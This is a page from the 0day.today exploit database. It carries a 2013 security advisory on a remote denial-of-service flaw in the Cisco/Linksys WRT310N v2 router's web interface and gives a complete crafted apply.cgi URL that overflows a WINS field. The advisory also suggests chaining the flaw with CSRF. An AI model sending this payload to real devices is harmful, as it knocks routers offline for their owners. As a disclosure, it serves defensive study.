0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Cisco Linksys WRT310N 2.0.00 Denial Of Service Vulnerability
Summary -------------------- Software : Cisco/Linksys Router OS Hardware : WRT310N v2 (others currently untested) Version : 2.0.00 (others currently untested) Website : http://www.linksys.com Issue : Remote Denial of Service Severity : High Researcher: Carl Benedict (theinfinitenigma) Product Description -------------------- The Cisco/Linksys WRT310N v2 is a consumer-grade router, wireless access point, and gigabit switch. Details -------------------- The HTTP service on this device is vulnerable to a remote denial of service condition via multiple parameters in the 'setup' form of index.asp. wan_wins_0 wan_wins_1 wan_wins_2 wan_wins_3 These inputs expect fixed-length data in the format of an IP address octet (numbers 0 - 255). While client-side protections are in place, no input validation on the server side is performed. One can leverage other vulnerabilities reported in this platform (XSS and CSRF) to exacerbate this issue. The page 'apply.cgi' allows HTML forms to be submitted via both HTTP POST and HTTP GET requests. The following crafted link can be used to pass a value greater than 18 bytes in one of the above-mentioned paramaters causing the HTTP service to stop responding. http://192.168.1.1/apply.cgi?pptp_dhcp=0&submit_button=index&change_action=&submit_type=&action=Apply&now_proto=dhcp&daylight_time=1&lan_ipaddr=4&wait_time=0&need_reboot=0&dhcp_check=&lan_netmask_0=&lan_netmask_1=&lan_netmask_2=&lan_netmask_3=&timer_interval=30&language=EN&wan_proto=dhcp&wan_hostname=&wan_domain=&mtu_enable=0&lan_ipaddr_0=192&lan_ipaddr_1=168&lan_ipaddr_2=1&lan_ipaddr_3=1&lan_netmask=255.255.255.0&url_address=my.wrt310n&lan_proto=dhcp&dhcp_start=100&dhcp_num=50&dhcp_lease=0&wan_dns=4&wan_dns0_0=0&wan_dns0_1=0&wan_dns0_2=0&wan_dns0_3=0&wan_dns1_0=0&wan_dns1_1=0&wan_dns1_2=0&wan_dns1_3=0&wan_dns2_0=0&wan_dns2_1=0&wan_dns2_2=0&wan_dns2_3=0&wan_wins=4&wan_wins_0=0&wan_wins_1=0&wan_wins_2=0&wan_wins_3=AAAAAAAAAAAAAAAAAAA&time_zone=-08+1+1&_daylight_time=1 The service will stop responding and become inaccessible for several minutes. After a few minutes, it appears that an automated task such as a CRON job restarts the service. Authentication is required to perform this action. The application uses HTTP Basic Authentication, which is weak (base64-encoded credentials in the format of username:password). History -------------------- 04/16/2013 : Discovery 04/23/2013 : Advisory released References -------------------- Cisco/Linksys WRT310N v2 XSS: http://cve.mitre.org/cgi-bin/cvename.cgi?name=2013-3067 Cisco/Linksys WRT310N v2 CSRF: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-3068 # 0day.today [2024-09-28] #